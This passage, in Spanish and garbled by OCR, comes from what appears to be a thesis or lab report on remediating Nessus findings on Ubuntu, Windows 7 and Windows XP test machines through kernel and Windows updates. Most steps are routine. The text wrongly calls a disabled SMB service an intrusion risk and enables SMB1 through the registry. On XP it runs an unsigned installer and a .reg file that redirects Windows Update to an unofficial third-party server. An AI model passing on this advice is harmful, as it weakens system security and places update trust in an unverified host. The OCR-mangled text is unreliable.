vulnerabilidades del kernel de Linux (USN-5209-1)

vulnerabilidades del kernel de Linux (USN-5298-1)

vulnerabilidad del kernel de Linux (USM-3357-1)

:vulnerabilidades del kernel de Linux (USN-5268-1)

:wvulnerabilidades del kernel de Linux (USN-5313-1)

:vulnerabilidades del kernel de Linux (USN-5044-1)

:vulnerabilidades del kernel de Linux (USN-5164-1)

llustracion 174 — Listado de vulnerabilidades Ubuntu

Entramos en ellas y vemos la informacion que nos dan. En la siguiente imagen podemos ver que
todas las vulnerabilidades restantes son por la desactualizacion del kernel y que la solucién que
se nos propone es actualizarlo.
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vulnerabilidades 32

BEE Ubuntu 14.04 LTS/16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5339-1)

Descripcidn
El host remoto de Ubuntu 14.04 LTS/16.04 LT

afectados por maltples vulnerabilida

=/node.c en el madulo F2fs en el kernel de Linux en versiones
ala memaria fuera de los limites, lo gue

vulnerabilidad es a disponibilidad del

nite que un ataca
terna del kernel

¥_Ush_recy en drivers/net/wireless/marvell/mwifie
0 USE manipulado) provegue una denegacion de servicio (skb_over_panic).

0.C permite que un atacante {(que puede conectar

- Existe un use-after-fre
Esto ocurre debido a una condicid

jeto de memoria compartida. (CVE-2021-

p_sock_accept en net/pho
VE-2021-43093)

agent_write del kernel de Linux en la funcién ker
e_agentde cgroups v1 para aumentar los privilegios y

sta falla, bajo ciertas
amiento del espacio de nombres

de forma ine

(CVE-2022-0492)

Tel

nga en cuenta que Messus no ha probado estos problemas, s 2 en &l numero de versidn autoinformado de a

0 que e Na Dasado nicame

Solucién

Actualice los pagued fectados.

Ver también
b

http

UntU.com/secur Ty

llustracién 175 — Informacion sobre las vulnerabilidades del Kernel

Lanzamos el siguiente comando para actualizar el kernel. [28]

administrador@equipo:~$ sudo apt-get install --install-recommends linux-generic-hwe-18.84 xserver-xorg-hwe-18.084
[sudo] contrasefia para administrador:
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacién de estade
Se instalaran los siguientes paquetes adicionale
linux-headers-5.4.0-131-generic linux-headers-generic-hwe-18.04 linux-hwe-5
linux-image-5.4.0-131-generic linux-image-generic-hwe-18.04 linux-modules-5
linux-modules-extra-5.4.0-131-generic xserver-xorg-core-hwe-18.04 xserver-xorg-input-all-hwe-18.04
xserver-xorg-input-libinput-hwe-18.04 xserver-xorg-legacy-hwe-18.84 xserver-xorg-video-all-hwe-18.04
amdgpu- hi 18.04 xserver-xorg-video-ati-hwe-18.04 xser -vi -fbdev-hwe-18.04
intel-hwe-1i -xorg-video-nouveau-hwe-18.04 x org-video-qxl-hwe-18.04
radeon-hwe-18.04 xserver-xorg-video-vesa-hwe-18.04 xserver-xorg-video-vmware-hwe-18.04
Paquetes sugeridos:
fdutils linux-hwe-5.4-doc-5.4.0 | linux-hwe-5. ource-5.4.0 linux-hwe-5.4- 1s xfonts-100dpi | xfonts-75dpi
firmware-amd-graphics xserver-xorg-video-ri2s rver-xorg-video-mach64 firmware-misc-nonfree
Paquetes recomendados:

llustracion 176 — Comando actualizacion de Kernel

Una vez haya terminado de actualizarse, reiniciamos el sistema y lanzamos los dos siguientes
comandos para comprobar la version actual del sistema y que el kernel ha pasado a una version
superior.

Archivo Editar Ver Buscar Terminal Ayuda
administrador@equipo:~5 uname -a
Linux equipo 5.4.0-131-generic #147~18.04.1-Ubuntu SMP Sat Oct 15 13:18:18 UTC 2

022 xB6_64 xB6 X86_64 GNU/Linux
administrador@equipo:~$ uname -r
5.4.0-131-generic
administrador@equipo:~%

llustracién 177 — comandos de version
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Una vez se ha actualizado el kernel, volvemos a lanzar el escaneo. Y como vemos en la siguiente

imagen, ya hemos eliminado todas las vulnerabilidades criticas.

Vulnerabilities

llustracion 178 — 32 Escaneo de Vulnerabilidades Ubuntu

En el equipo Linux — Ubuntu 16.04 partiamos de lo siguiente:

= = - -

llustracion 179 — Primer escaneo — Ubuntu

Y hemos acabado:

llustracion 180 — Ultimo escaneo — Ubuntu

6.4.2 Windows 7.

El segundo equipo que parchearemos serd Windows 7. Este equipo parte con las siguientes

vulnerabilidades.

llustracion 181 — 12 Escaneo de Vulnerabilidades Windows 7

Lo primero que haremos sera actualizar Windows 7 a la Gltima versién. Para ello comenzaremos

instalando el Service Pack 1.
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&, [Z1 Instalar Service Pack de Windows
Instalando Service Pack 1 de Windows 7...

veces durante la instalacion.
Instalando: Service Pack para Microsoft Windows (KBE976932)

La instalacion puede durar una hora o mas. Es posible que deba reiniciar el equipo varias

Instalar Cancelar

llustracion 182 — SP1

Una vez instalado el Service Pack 1, reiniciamos el equipo y esperamos a que se aplique la
actualizacion. Una vez iniciemos el equipo entramos en el instalador de actualizaciones ‘Windows
Update’ de Windows 7, para ello, nos dirigimos a la siguiente ruta: Panel de control > Sistema y

seguridad > Windows Update y seleccionamos la opcion de buscar actualizaciones.

Windows Update

Instale siempre las actualizaciones mds recientes para mejorar la seguridad y el
rendimiento del equipo.

P ) Buscar actualizaciones para el equipo
k.

I Buscar actualizaciones I

Blsqueda mas reciente de actualizaciones:  Munca
Seinstalaron las actualizaciones: Munca
Recibe actualizaciones: S6lo para Windows

Obtener actualizaciones para otros productos de Microsoft, Mas infermacian

llustracion 183 — Windows update

Una vez termine de buscar las actualizaciones, Windows Update nos mostrara las que estén

disponibles. Le damos a instalar y comenzara la descarga e instalacion de estas.
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Windows Update

ﬂ Descargar e instalar actualizaciones para el equipo

s
\:// 170 actualizacicones importantes 169 actualizaciones importantes

6 actualizaciones opcicnales estan
disponibles

estdn disponibles seleccionadals), 1.491,9 MB - 1.492,0 MB

Instalar actualizaciones

Blsqueda rmas reciente de actualizaciones: Hoy a las 19:43
Se instalaron las actualizaciones: Munca

Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros preductos de Microsoft. Mas infermacién

llustracién 184 — Instalar actualizaciones

Esperamos a que se descarguen las actualizaciones en nuestro equipo.

Windows Update

g+ 1 Descargando actualizaciones..

Descargando 169 actualizaciones (1.492,0 ME en total, 47% completados)

Detener descarga

Busqueda mas reciente de actualizaciones: Hoy a las19:43
Se instalaron las actualizaciones: Munca

Recibe actualizaciones: Solo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacicn

llustracion 185 — Descarga de las actualizaciones

Una vez descargadas comenzara automaticamente la instalacion de estas.
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Windows Update

. 1y Instalando actualizaciones...
-

Instalando actualizacién 128 de 167...
Actualizacién de seguridad para Windows 7 para x64-based Systerns (KB3021674)

[ Detener la instalacién ]

Busqueda mas reciente de actualizaciones: Hoy a las 19:43
Se instalaron las actualizaciones: MNunca
Recibe actualizaciones: Solo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacion

llustracion 186 — Instalacion de las actualizaciones

Una vez se han instalado las actualizaciones posibles, reiniciamos el equipo.

Windows Update

a) No se instalaron algunas actualizaciones.
\’

Reinicie el equipo para finalizar la

instalacicn de actualizaciones I Reiniciar ahora

importantes,

Correctas: 166 actualizaciones

Mo se pudieron instalar 3

actualizaciones

Errores encontrados:

Cédigo 80092004 Windows Update encontrd un error desconocido
Obtener ayuda para este error

Windows no puede actualizar archives y servicios importantes
rientras los esté usando el equipo. Guarde todos los archivos
abiertos y luego reinicie &l equipo.

Blsqueda mas reciente de actualizaciones:  Ayer a las 19:43

Se instalaron las actualizaciones: Hoy a las 8:24 (error). Ver historial de actualizaciones
Recibe actualizaciones: S6lo para Windows

Obtener actualizaciones para otros productos de Microseft. Mas informacicén

llustracion 187 — N2 de actualizaciones instaladas

Esperamos a que las actualizaciones se apliquen correctamente.



Fase 3 de 3
~ Configurando las actualizaciones de Windows
! 15% completado

No apague el equipo.

llustracion 188 — Configuracion de las actualizaciones

Una vez el equipo termine de aplicar las actualizaciones y arranque, nos dirigimos al apartado de
Windows Update para comprobar que no queden mas actualizaciones por instalar.

Windows Update

y/_ Windows esta actualizado

Mo hay actualizacicnes disponibles para su equipo.

Busqueda mas reciente de actualizaciones:  Hoy a las 18:09
Se instalaron las actualizaciones: Hoy a las 18:10. Ver historial de actualizaciones
Recibe actualizaciones: S6lo para Windows

Obtener actualizaciones para otros productos de Microsoft, Mas infermacion

llustracion 189 — Windows Update sin actualizaciones

Una vez instaladas todas las actualizaciones, volvemos a lanzar un escaneo para comprobar el
estado del equipo. Y como podemos observar en la imagen siguiente, el equipo aun tiene muchas
vulnerabilidades criticas y altas.

inebiscas

o

llustracion 190 — 22 Escaneo de Vulnerabilidades Windows 7
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Entramos en las mas criticas para analizarlas.

CRITICAL 10.0 Microsoft Windows 7 / Server 2008 R2 Unsupported Version Detection
CRITICAL 10.0 Unsupported Windows OS5 (remote)

llustracion 191 — Vulnerabilidad — Sistema Operativo sin soporte

W7/ Complemento #122615

< e

vulnerabilidades 43

Microsoft Windows 7/Server 2008 R2 Deteccién de versién no compatible

Descripcién
Microsoft Windows 7 o Server 2008 RZ se estd ejecutando en el host remoto.
Microsoft finalizd el soporte para Windows 7 y Server 2008 R2 el 14/1/2020.

La falta de soporte implica que el proveedor no lanzara nuevas parches de seguridad para el producto. Come resultado, es probable que contenga
vulnerabilidades de seguridad. Ademas, es poco probable que Microsoft investigue o reconozca los informes de vulnerabilidades.

Solucién
Actualice a una version de Microseft Windows que actualmente sea compatible.

Ver también

http:/fwww.nessus.org/u?e2452f2e

llustracion 192 — Vulnerabilidad — Version sin soporte

W7 / Complemento #108797

< Valver al grupo de vulner:

vulnerabilidades 43

Sistema operativo Windows no compatible (remoto)

Descripcién
Az versidn remota de Microsoft Windows le falta un paquete de servicio o ya no es compatible. Como resultade, es probable que contenga
vulnerabilidades de seguridad.

Solucion
Actualizar a un paguete de servicio o sistema operativo compatible

Ver también

https://support.micros oft.com/en-us/ f%:}": =

llustracién 193 — Vulnerabilidad — Version del SO sin soporte

Como podemos ver hay vulnerabilidades que no pueden ser parcheadas y esto es por seguir
manteniendo el uso de un sistema operativo sin soporte. Analizamos las dos vulnerabilidades.

Seguimos analizando el resto de las vulnerabilidades. Y como vemos, nos indican que aun
tenemos actualizaciones de seguridad sin instalar. Entramos en los links que nos dan de solucion

y seguimos los pasos.
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.......

llustracion 194 — Vulnerabilidad — Falta de actualizaciones de seguridad

https://support.microsoft.com/en-us/topic/auqust-11-2020-kb4571729-monthly-rollup-
fd5c6¢c28-88ab-1416-2621-a95283201041

Instalamos todas las actualizaciones de seguridad pendientes. Para ello, lo primero que haremos
sera entrar a la pagina de descargas de actualizaciones de  Windows:
(https://www.catalog.update.microsoft.com/Home.aspx) y buscaremos las actualizaciones que
nos faltan.

(54 windows6.1-kb4474419-v3-1h4_h5614chceaSchde198717789633dcal 6308f79¢
(54 windows6.1-kb4490628-x64_d3de52dAO8THT cBbdc2c015dcahdeacdfldTcTbe
(54 windows6.1-kb4538483-x64_3e861 ae5fef6h3c0d185dechddfad 36calc5035
54 windows6.1-kb4565354-x64_a2441fced463240716211 bb0&FT49ef430 cDed?2

54 windows6.1-kb4570673-x64_046157Fddcdalcl cB0f27a53 cecddalbedcaall
(5l windows6.1-kb4571729-x64_62b8672a50cebbdbfcddfbl6e18a30ab472a5269

llustracion 195 — Actualizaciones de seguridad a instalar

Una vez descargadas, instalamos una a una todas las actualizaciones de seguridad de la siguiente
manera. Ejecutamos él .exe y le damos a la opcion ‘si’ para que se inicie la instalacion.
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Instalador independiente de Windows Update

Buscando actualizaciones en el equipo...

Cancelar

Instalador independiente de Windows Update

;Desea instalar la siguiente actualizacién de software de Windows?

Actualizacién de seguridad para Windows (KB4571729)

llustracion 196 — Actualizacion KB4571729

Esperamos a que termine de instalarse.

. Descargar e instalar actualizaciones @
_:: I'*' Se estan instalando las actualizaciones

Estado de la instalacian:

Inicializando la instalacion... Listo -
Instalando Actualizacidn de seguridad para Windows (KB4571729) (actualizacién 1de 1)... |

Instalando:

Cancelar

llustracion 197 — Progreso de la actualizacion

Una vez termine de instalarse cada actualizacion debemaos reiniciar el equipo. Seguimos viendo
mas vulnerabilidades para intentar eliminar todas las posibles. En la siguiente imagen, Nessus nos
indica que tenemos el servicio SMB desactivado, esto puede provocar que un atacante se cuele
en nuestro equipo sin necesidad de credenciales por lo que procedemos a activarlo.
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llustracion 198 — Vulnerabilidad — SMB desactivado

Para activar el servicio de SMB entramos al registro de Windows escribiendo ‘regedit’ en la
seccion de busqueda de Windows. Una vez dentro vamos a la siguiente ruta:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters
y creamos un nuevo valor de tipo ‘DWORD”.

ﬁ’ Editor del Registro
Archivo Edicion  Ver Faveritos  Ayuda
b iSesiPrt “ || Nombre Tipo Datos
P kbd(‘_ass {h\E(Predatermmado] REG_SZ (valor no establecido)
- kbdhid #) AdjustedNullSes... REG_DWORD 000000003 (3)
> E:ZI:;D #|autodisconnect  REG_DWORD 0x0000000f (15)
| 1 KSecPkg | Enablefuthentic... REG_DWORD (00000001 (1)
0 ksthunk 4 enableforcedlog... REG_DWORD 000000001 (1)
L 1 KtmRm ‘.’.'o‘] enablesecuritysi... REG_DWORD (0400000000 (D)
1 LanmanServer 148 Guid REG_BIMARY 8b b1 1 23 5566 60 4596 39 88 a8 80 bd 57 34
Aliases ‘.‘.'o‘] Lmannounce REG_DWORD (000000000 (D)
AutotunedParameters {h]NuIISesslonPlpes REG_MULTLSZ
DefaultSecurity 24 requiresecuritysi... REG_DWORD 000000000 (D)
Linkage E ‘.’.'o‘] restrictnullsessa.. REG_DWORD (000000001 (1)
Parameters 3_"1 ServiceDIl REG_EXPAMD_SZ FeSystemRoot\system32\srvsve.dil
ShareProviders 4 ServiceDllUnloa... REG_DWORD 000000001 (1)
- Ju Shares 74| Size REG_DWORD 0x00000001 (1)
. LanmanWorkstation
. ldap
litdie
litdsve Muevo 3 Clave
. Imhosts
. Lsa Valer de cadena
<l LSLFC Valer binario
s
. LSISAS2
LS15CsI Valer de QWORD (64 bits)
luafy Valor de cadena miiltiple
 Mox2Sve Valer de cadena expandible
. megasas
. MegaSR
; MicrocnftFdneFleuatinnService g
] T r
quipo\HEEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer,Parameters I

llustracion 199 — creacion de valor

Le damos un nombre. Como es para samba lo llamaremos ‘SMB1’ y le daremos un valor de 1.
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We| SME1L REG_DWORD 000000000 (@)

-

Editar valor de DWORD (32 bits) =
Mombre de valar:
SME1

Informacidn del valor: Baze
| @ Hexadecimal

Decimal

Aceptar ] | Cancelar

llustracion 200 - Valor a 1

Para no tener que seguir analizando cada vulnerabilidad de una en una, podemos ir a la pestafia

de ‘Remediations’ en Nessus y hacer 10s pasos que nos dice en esa seccion para quitar la mayor
cantidad de vulnerabilidades.

VvV S
< B t
Hosts | 1 Vulnerabilities 40 Remediations 6 VPR Top Threats @ History
Action
Microsoft Edge (Chromium) < 107.0.1418.42 Multiple Vulnerabilities: Upgrade to Microsoft Edge version 107.0.1418.42 or later.

nstall KBE5020000

nstall KB5006671

nstall KB4577010

Google Chrome < 107.0.5304.110 Multiple Vulnerabilities: U

g
o
[=
i
-+
(=]
[nl
=)
Q

nstall KB4586768

llustracion 201 — Pestafia ‘Remediations’

Vamos instalando cada actualizacion que nos indique. Empezamos por Microsoft Edge, el cual

podemos actualizarlo o desinstalarlo. Para ello, entramos a la parte de configuracién de Microsoft
Edge y le damos a actualizar.
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@ Configuracion x | +
< O Q@ Edge | edge://settings/help
. ..
Configuracion Acerca de
O Buscar en configuracion e Microsoft Edge
Perfiles Actualizando Microsoft Edge (50%)
Version 83.0.478.50 (Combilacién of ) (64 bits)
EI Privacidad y servicios Versién 83.0478.50 pilacién oficial) (64 bits)
Apariencia Este explorador se ha hecho gracias al proyecto de cadigo abierto Chromium y a otro software de cédigo abierto.
Microsoft Edge
(D En el inicio ,‘ o= g
€ 2022 Microsoft Corporation. Todos los derechos reservados.
= Pagina de la nueva pestaia
Términos de uso - Declaracion de privacidad - Contrato de servicios de Microsoft
BF Permisos del sitio

llustracién 202 — Configuracion Microsoft Edge

Una vez se haya actualizado, reiniciamos el explorador, volvemos a entrar y verificamos que este
actualizado.

Acerca de

Microsoft Edge

Versién 107.0.1418.42 (Compilacién oficial) (54 bits)

Q Microsoft Edge esta actualizado.

Este explorador se ha hecho gracias al proyecto de cédigo abierto Chromium y a otro software de cédigo abierto.

Microsoft Edge

© 2022 Microsoft Corporation. Todos los derechos reservados.

Términos de uso - Declaracion de privacidad - Contrato de servicios de Microsoft

llustracién 203 — Microsoft Edge actualizado

Seguimos con el siguiente paso, instalar la actualizacién KB5020000. Para ello la buscamos en el
catélogo de actualizaciones de Windows y la descargamos.

kmsztor Busenr

llustracion 204 — KB5020000

Una vez descargado él .exe de la actualizacion, lo ejecutamos y cdmo podemos ver nos dice que
no es aplicable a nuestro equipo por lo que es una actualizacion de seguridad que no podemos

aplicar.

Instalador independiente de Windows Update @

La actualizacidn no es aplicable al equipo.

llustracion 205 — Actualizacion no aplicable
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Probamos a instalar el siguiente KB. Repetimos todos los pasos para la descarga y la instalacion.

Instalador independiente de Windows Update

Buscandeo actualizaciones en el equipo...

;Desea instalar la siguiente actualizacién de software de Windows?

Actualizacidn de seguridad para Windows (KB5006671)

llustracion 206 — Actualizacion KB5006671

Una vez haya terminado, reiniciamos el equipo y esperamos a que termine de aplicar la
actualizacion.

Configurando las actualizaciones de Windows
72% completado
No apague el equipo.

~
-

Ilustracion 207 — Configuracion de la actualizacion

Una vez termina de instalarse y aplicarse, nos salta el siguiente error.

Error de configuracion de las actualizaciones de Windows
Revirtiendo los cambios
No apague el equipo.

7~

Ilustracion 208 — Error en la configuracion de la actualizacion
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Esto pasa tanto con el KB5006671, KB4577010, KB4586768 por lo que no podriamos
implementar las Gltimas actualizaciones de seguridad. Esto pasa debido a que Windows 7 ya no
tiene soporte y por eso no podriamos parchear ninguna de las demés vulnerabilidades quedando

el sistema de la siguiente manera:

llustracion 209 — 32 Escaneo de Vulnerabilidades Windows 7

En el equipo Windows — 7 partiamos de lo siguiente:

| = w

llustracion 210 — Primer escaneo — Windows 7

Y hemos acabado:

llustracién 211 — Ultimo escaneo — Windows 7

Este es el gran problema de los SO sin soporte que las Gltimas actualizaciones pueden parchearte
algunas vulnerabilidades pero abrirte otras por otro lado y al no tener soporte nunca podran
parchearse, simplemente se podra aumentar la seguridad con firewalls méas potentes con el uso de

programas externos, instalacion de antivirus, etc.

6.4.3 Windows XP.

El tercer equipo que parchearemos serda Windows XP. Este equipo parte con las siguientes

vulnerabilidades.

v\ :

llustracion 212 — 12 Escaneo de Vulnerabilidades Windows XP

Lo primero que haremos serd activar Windows Update. Para ello, descargaremos tres parches que
nos permitiran activarlo. Windows Update dejo de estar habilitado en Windows xp en 2014,

cuando este dejo de tener soporte activo. (http://i430vx.net/files/wsusstuff/).
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€ (=] Lﬁ /I__\J Bilsqueds || Carpetas v

Direccidn |3 C:\Documents and SettingstadministradoriMis documentos\Downloads A | Ir

=== rootsupd Wsls
= | "Win32 Cabinet Self-Extractor Entradas de registra
- Microsoft Corporation 1kE
o0 vyindowsUpdateAgent30-x86
Self-Extracting Cabinet
Microsoft Corporation

llustracion 213 — Parches Windows Update

Tareas de archivo ¥ carpeta 2

Iﬂﬂ Cambiar nombre a este archivo
ﬁ Mover este archivo

D Copiar este archiva

A Publicar este archivo en Web

Una vez nos hemos descargado los parches de activacion, los ejecutamos en el siguiente orden.

WindowsUpdatefgent30-x36
Self-Extracting Cabinet
Microsoft Corporation

Abrir archivo - Advertencia de seguridad

;Desea ejecutar este archivo?

Mombre:  Windowslpdatedsgent30-x56. 2xe
Fabricante: Microzoft Corporation

Tipo:  Aplicacion

De: CriDocuments and SettingsiadministradorMis doc. ..

Ejecutar [ Cancelar l

Preguntar zsiempre antez de abrir este archivo

Loz archivos procedentes de Internet pueden zer Otiles, pero este
tipo de archivo puede dafiar potencialmente 2u equipo. Salo
gjecute zoftware de loz fabricantes en los que confia. fCuél es el
riesgo?

llustracion 214 — Parche 1

Y esperamos a que el primer parche acabe de aplicar los cambios para la activacion de Windows
Update.
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¥ Instalador del Agente de Windows Update X

Instalacion finalizada

El Agente de Windows Update se instald correctamente,

Finalizar

llustracion 215 — Parche 1 - Instalacion

Ejecutamos el segundo archivo. Este archivo instala los certificados raiz para las actualizaciones

y descargas seguras.

9 & g | rootsupd W] WeUs
= —g | Win3Z Cabinet Self-Extractor Entradas de reqistro
Microsoft Corporation 1KE
WindowslJpdatedgent30-x56
l Self-Extracting Cabinet
Microso oo Aatinn

Abrir archivo - Advertencia de seguridad

Mo ze puede comprobar el fabricante. ;Esta sequro de que
desea ejecutar este software?

Maombre:  rootsupd.exe
Fabricante: Fabricante desconocido

Tipo:  Aplicacian

De Ci\Documents and SettingsiadministradoriMis doc, .

Ejecutar [ Cancelar ]

Preguntar zsiempre antez de abrir ezte archivo

fabricante. Solo ejecute zoftware de los fabricantez en loz gue

@ E zte archivo no tiene ninguna firma digital walida que compruebe zu
confia.  fComo puedo decidir gué software debo ejecutar’y

llustracion 216 — Parche 2
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Y esperamos a que acabe y aplique los cambios de la ultima version conocida de Windows XP
sin soporte.

Root Certificate April, 2016 X

L]
\lj) Installed Revoked | Rooks Update April, 2016

llustracién 217 — Parche 2 - Revoked

Y ejecutamos el tercer y Gltimo parche. Este archivo nos permite modificar nuestro registro de
Windows para que pueda encontrar por internet y servidores alternativos las actualizaciones.
Dentro de este podemos ver la siguiente informacion, como la url de donde se descargaran las
actualizaciones y los parametros del registro a modificar.

I wsus - Bloc de notas

Archivo Edicion  Formato  Ver Awuda
windows Registry Editor version 5.00

[HEEY_LOCAL_MACHIMEMSSOFTWARESPOTT cies microsofthwindows\windowsupdate]
"wUserver'="http:/ wsus.gimme.money:8530"
"wUstatusserver'="http:/ wsus. gimme.money:8530"

[HKEY LOCAL_MACHT NENSOFTWARENPOTT ciesyMicrosofthwindows\windowsUpdatehau]
'Usewuserver " =dword: 00000001

llustracién 218 — Parche 3 - WSUS

=1 rootsupd WSS
Win32 Cabinet Self-Extractor Entradas de reqistro
Microsoft Corporation 1KE

WindowsUpdateAgent30-x36
Self-Extracting Cabinet
Microsoft Corporation

Abrir archivo - Advertencia de seguridad

Mo sze puede comprobar el Fabricante. ;Esta seguro de que
deszea ejecutar ezte software?

@ Mombre:  wsus.req
Fabricante: Fabricante dezconocido

Tipo: Entradas de reqistra

De: C\Documents and Settings\administradoriMis doc, ..

I Ejecutar I[ Cancelar l

Preguntar siempre antes de abrir este arnchivio

E zte archivo no tiene ninguna firma digital valida que compruebe su
fabricante. Salo ejecute software de los fabricantes en los que
confia.  jCémo puedo decidir qué software debo ejecutar’y

llustracion 219 — Parche 3
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Permitimos que se modifique el registro de Windows con la nueva informacion.

Editor, del Registro

\_‘.:/ iEstd seguro de que desea agregar la informacion en Cii\Documents and SettingstAdministradorifis documentos\Downloadsiwsus, reg al Registro?

[ 0[ m

llustracién 220 — Parche 3 - Aceptacion

Una vez hemos terminado de ejecutar los tres archivos, reiniciamos el equipo. Una vez arranque,
lanzamos el siguiente comando para que comience a buscar las actualizaciones.

Ejecutar

= Escriba el nombre del programa, carpeta, documento o
E recurso de Internet que desea que Windows abra,

Abrirs | wuauclt fdetectnow| w |

Acepkar [ Cancelar ] [Examinar... ]

llustracién 221 — Comando: wuauclt /detectnow

Al cabo de un rato, el sistema comenzara a notificar que hay actualizaciones disponibles para el
equipo. Segun vayamos instalando actualizaciones en el equipo, el sistema ira notificando que
hay mas hasta que tengamos todas las actualizaciones disponibles instaladas.

Instalamos la primera actualizacién. Le damos a descargar y seguidamente a instalar.

% Actualizaciones automaticas

«!ﬁ Elegir actualizaciones para descargar

Titulo de la actualizacion

Detalles
Tamario: 483 KB ~

Esta actualizacion instala una copia permanente del Instalador de paguetes para Windows v

permite, de eska manera, que las actualizaciones de software bengan un tamario de descarga
considerablemente menar. El Instalador de paguetes simplifica la instalacidn de actualizaciones de
software para los sistemas operativos de Microsoft Windows v otros productos de Microsoft, Tras
instalar este elemento, es posible que deba reiniciar el siskema. 3

Obtenaa mas informacion acerca de esta actualizacion en L/

Cambiar configuracion de actualizaciones aukomaticas Descargar ] ’ Cancelar

llustracion 222 — Actualizacion WXP

99



Esperamos a que se instale, reiniciamos y nos aparecera el siguiente lote de actualizaciones.
Seleccionamos todas, esperamos a que se descarguen, se instalen y volvemos a reiniciar.

. Actualizaciones automaticas

f“ Elegir actualizaciones para descargar

Titulo de la actualizacion

Actualizacion de seguridad acumulativa para Acti lIbits para Wind

Actualizacion de seguridad acumulativa para Internet Explarer & para \Windows %P
(KBE2ETI017)

Artualizacion de sequridad del Tiermpo de ejecucion de Windows Media Format 9 para
Windows xP (KB2E03321)

4 Arknalizacidin da camwidad dal Tiarmnn da aiacicidn dae Windoiae Madiz Eqernabk 0 0 5 0 14
Detalles

Tamafio: 511 KB S

W

Se ha detectado un problema de seguridad en un producto de software de Microsoft que podria
affectar a su equipo, Puede contribuir a mejarar la proteccion del sistema con esta actualizacion de
Microsaoft, Para obkener una liska completa de los problemas incluidos en esta actualizacion,
consulke el articulo de Microsoft Knowledge Base asorciado, Después de instalar esta actualizacion,
es posible que tenga que reiniciar el sistema.

Obtenoa mas informacidn acerca de esta actualizacidn en b

Cambiat confiquracion de actualizaciones aukomaticas Descargar ] l Cancelar

llustracion 223 — Lote 1 de Actualizaciones de seguridad WXP

Una vez instaladas las principales actualizaciones de seguridad del sistema, se habran descargado
también actualizaciones de seguridad para correccion de errores. Seleccionamos todas y las
instalamos.

% Actualizaciones automaticas

fﬁ Elegir actualizaciones para instalar

Titulo de la actualizacian

Ackualizacion de seguridad para Wi [ 40
Artualizacidn de sequridad para Windows XP (KE2478971)
Actualizacion de sequridad para Windows ¥P (KE2479943)

Actualizacion de sequridad para Windows XP (KBE2544893)

Actualizacion de seguridad para Windows XP (KBEZSE4953) w
Detalles
Tamario: 1,4 MB ~

3e ha detectado un problema de seguridad que podria permitic Que un usuario remoko
malintencionado sin aukenticacion ponga en peligro el sistema v tome control del mismo, Puede
ayudar a proteger el siskema si instala esta actualizacion de Microsoft, Tras instalar esta
actualizacion, es posible gue deba reiniciar el sistema.

Obkenga mas informacion acerca de esta actualizacion en hkkp: ffgo, microsaft, com) Fedink ?LinkId=
201703

Cambiar confiquracicn de actualizaciones aukomaticas Inskalar ] l Cancelar

llustracién 224 — Lote 2 de Actualizaciones de seguridad WXP
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Reiniciamos y repetimos el proceso hasta que no queden actualizaciones disponibles.

Iy

Actualizaciones automaticas

% Elegir actualizaciones para instalar

Titulo de |a actualizacian

aft .MET Framework 4 Client Profile para win

Detalles
Tamafio: 34,3 ME

|

Microsaft \MET Framewark 4 Client Profile proparciona un subconjunta de caracteristicas de MET
Frarewark 4, Client Prafile esté disefiada para ejecutar aplicaciones cliente v para permitir la

implementacion con la mayor rapidez posible de Windows Presentation Foundation (WPF) v la
tecnnlogia de Windows Forms,

Obkenga mas informacion acerca de eska actualizacion en btk oo, microsoft, comyFelink ?LinkId=
191022

Cambiar configuracion de actualizacionss auktomaticas [ Inskalar ] [ Cancelar ]

llustracién 225 — Actualizacién .NET Framework WXP

“ Actualizaciones automaticas

% Elegir actualizaciones para instalar

Titulo de la actualizacian

Microsoft \MET Framework 4 para Win

Detalles
Tamario: 41,6 MB

.MET Framewaork es un modelo de programacicn coherente v completo de Microsoft para crear
aplicaciones con una experiencia del usuario visualmente atrackiva v comunicaciones sequras v sin
problemas. Ademas, ofrece la posibilidad de modelar una amplia gama de procesos de negorio.
MET Framewark 4 puede funcionar simultdneamente con versiones ankeriores de Framework, Las

aplicaciones basadas en versiones ankeriores de Framework sequiran ejecutdndose en la version
establecida de manera predeterminada,

W

Cambiar configuracion de actualizaciones aukomaticas Inskalar ] ’ Cancelar

Ilustracion 226 — Actualizacion .NET Framework 2 WXP
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Iy

Actualizaciones automaticas

% Elegir actualizaciones para descargar

Titulo de la actualizacian

ck 1 para .MET Fran

Actualizacion de Microsoft \MET Framewark 3.5 SP1 para Windows Server 2003 v Windows
%P %56 (KEIGZ 168
Artualizacidn de Microsoft \MET Framewark 3.5 SP1 v JMET Framework 2.0 SPZ para
Windows Server 2003 v Windows XP x56 (KBIBZ524) v
Detalles
Tamarfio: 741 KB
La actualizacidn a .\MET Framewiork 3.5 Service Pack 1 para (MET Framework Assiskant 1.0 para
Firefox soluciona algunos problemas de compatibilidad con la versidn 1.0 de la extensidn.
Cbtenga mas informacidn acerca de esta actualizacion en hktpfsupport . microsoft, conykb/963707
Cambiar configuracion de actualizaciones automaticas Descargar I ’ Cancelar

llustracion 227 — Lote 1 de Actualizaciones .NET Framework WXP

Iy

Actualizaciones automaticas

% Elegir actualizaciones para descargar

Titulo de la actualizacion

Actualizacion de seguridad para Microsoft \MET Framework 4 en \Windows P, Windows
Server 2003, Windows Yista, \Windows 7, Windows Server 2003 para sistemas basados ...

Actualizacion de seguridad para Microsoft \MET Framework 4 en \Windows %P, Windows
Server 2003, Windows Viska, Windows 7, Windows Server 2008 para sistemas basados ...

| £

Detalles
Tamafio: 2,1 MB

12

Se ha detectado un problema de seguridad que podria permitiv que un usuario malinkencionado
ponga en peligro un sisterna basado en Windows que ejecute Microsoft \MET Framewaork v obtenga
accesn a la informacion, Puede contribuir a proteger el equipo con esta actualizacion de Microsoft,
Después de inskalarla, es posible que deba reiniciar el equipa,

Obtenga mas informacian acerca de esta actualizacion en http:ffoo, microsoft, comfwlink) ?LinkI D=
242826

Cambiar configuracion de actualizaciones automaticas [ Descargar ] l Cancelar ]

llustracion 228 — Lote 3 de Actualizaciones de seguridad WXP
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Una vez instaladas todas las actualizaciones posibles, volvemos a realizar un escaneo.

v‘ :

llustracion 229 — 22 Escaneo de Vulnerabilidades Windows XP

